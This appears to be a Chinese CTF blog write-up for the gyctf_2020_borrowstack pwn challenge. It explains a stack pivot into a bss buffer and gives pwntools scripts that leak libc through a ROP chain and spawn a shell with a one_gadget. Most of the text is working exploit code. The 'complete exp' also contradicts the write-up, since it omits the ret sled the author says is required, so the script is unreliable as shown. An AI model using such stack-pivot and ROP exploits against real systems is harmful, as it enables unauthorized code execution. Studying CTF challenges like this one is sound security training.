gyctf_2020_borrowstack

文章发布时间:

最后更新时间:

文章总字数:
1k

预计阅读时间:
5 分钟

一题栈迁移 但是有涉及到内存越界的问题 记录一下 防止以后踩坑

1
2
3
4
5
6
7
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/home/chen/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

ida打开看一下

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[96]; // [rsp+0h] [rbp-60h] BYREF

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
puts(aWelcomeToStack);
read(0, buf, 0x70uLL);
puts("Done!You can check and use your borrow stack now!");
read(0, &bank, 0x100uLL);
return 0;
}

buf局部变量 bank位于bss段

栈溢出的空间太少了 构造不了rop链 所以是想到把rop写到bank里面 然后栈迁移到对应位置

ps: 这里的逻辑关系得清楚一下 我们平时栈溢出覆盖返回地址 实际上利用main函数这个栈帧结束以后 会返回到父函数 覆盖了返回地址 所以哪怕我们先覆盖了返回地址 但是接下来程序并没有立刻结束 所以并不会影响我们修改bank的内容

此时exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import*
from struct import pack
from ctypes import *
from LibcSearcher import*

def libcmath(function_addr,function_name):
libc_addr = function_addr - libc.sym[function_name]
system_addr = libc_addr + libc.sym['system']
binsh_addr = libc_addr + next(libc.search(b"/bin/sh"))
print(hex(libc_addr))
return system_addr,binsh_addr

def csu(offset,gadget2_addr,call_addr,rdx,rsi,rdi,gadget1_addr,ret_addr):
payload = cyclic(offset)
payload += p64(gadget2_addr)
payload += cyclic(0x8)
payload += p64(0)
payload += p64(1)
payload += p64(call_addr)
payload += p64(rdx)
payload += p64(rsi)
payload += p64(rdi)
payload += p64(gadget1_addr)
payload += cyclic(56)
payload += p64(ret_addr)
return payload

def localconnect(filename):
io = process(filename)
return io

def remoteconnect(ip,port):
io = remote(ip,port)
return io

def elf_libc(filename,libc_name):
elf = ELF(filename)
libc = ELF(libc_name)
return elf,libc

def debug(button):
if(button==1):
context.log_level = "debug"

filename = 'pwn'
libc_name = 'buu_libc_ubuntu16_64'
ip="node4.buuoj.cn"
port=28099
elf,libc = elf_libc(filename,libc_name)
#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
main_addr = elf.sym['main']

#io = remoteconnect(ip,port)
io = process("./pwn")
debug(1)

io.recvuntil("Welcome to Stack bank,Tell me what you want")
bss_addr = 0x601080
leave_addr = 0x400699
puts_plt = 0x4004e0
rdi_addr = 0x400703
ret_addr = 0x4004c9
puts_got = elf.got['puts']
read_got = elf.got['read']
payload = cyclic(0x60)+p64(bss_addr-0x8)+p64(leave_addr)
io.send(payload)
io.recvuntil("Done!You can check and use your borrow stack now!")
payload = p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.sendline(payload)

但是发现行不通 gdb动调了一下发现 好像跳转到了奇怪的地方

看了一下地址 好像是跑到了bss段上面的got表了 那有没有什么办法可以抬高栈(往低地址处抬高) 我们想到了ret指令 刚好可以读入0x100字节的数据在bank里面

1
payload = p64(ret_addr)*20+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)

接着就可以成功泄露puts的真实地址了

接下来两个办法 既然只能刚好覆盖到ret addr 那就直接覆盖成onegadget 因为libc基址已经知道了

或者重复上面的操作 按照常规的system进行系统调用 不过尝试了一下发现不行 也不清楚是什么原因

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import*
from struct import pack
from ctypes import *
from LibcSearcher import*

def libcmath(function_addr,function_name):
libc_addr = function_addr - libc.sym[function_name]
system_addr = libc_addr + libc.sym['system']
binsh_addr = libc_addr + next(libc.search(b"/bin/sh"))
print(hex(libc_addr))
return system_addr,binsh_addr

def csu(offset,gadget2_addr,call_addr,rdx,rsi,rdi,gadget1_addr,ret_addr):
payload = cyclic(offset)
payload += p64(gadget2_addr)
payload += cyclic(0x8)
payload += p64(0)
payload += p64(1)
payload += p64(call_addr)
payload += p64(rdx)
payload += p64(rsi)
payload += p64(rdi)
payload += p64(gadget1_addr)
payload += cyclic(56)
payload += p64(ret_addr)
return payload

def localconnect(filename):
io = process(filename)
return io

def remoteconnect(ip,port):
io = remote(ip,port)
return io

def elf_libc(filename,libc_name):
elf = ELF(filename)
libc = ELF(libc_name)
return elf,libc

def debug(button):
if(button==1):
context.log_level = "debug"

filename = 'pwn'
libc_name = 'buu_libc_ubuntu16_64'
ip="node4.buuoj.cn"
port=28099
elf,libc = elf_libc(filename,libc_name)
#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
main_addr = elf.sym['main']

#io = remoteconnect(ip,port)
io = process("./pwn")
debug(1)

io.recvuntil("Welcome to Stack bank,Tell me what you want")
bss_addr = 0x601080
leave_addr = 0x400699
puts_plt = 0x4004e0
rdi_addr = 0x400703
ret_addr = 0x4004c9
puts_got = elf.got['puts']
read_got = elf.got['read']
payload = cyclic(0x60)+p64(bss_addr-0x8)+p64(leave_addr)
io.send(payload)
io.recvuntil("Done!You can check and use your borrow stack now!")
payload = p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
gdb.attach(io)
io.sendline(payload)
io.recv()
puts_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
libc_addr = puts_addr - libc.sym['puts']
#0x45216 0x4526a 0xf02a4 0xf1147
onegadget_addr = libc_addr+0x4526a
io.recvuntil("Welcome to Stack bank,Tell me what you want")
payload = cyclic(0x68)+p64(onegadget_addr)
io.sendline(payload)
io.interactive()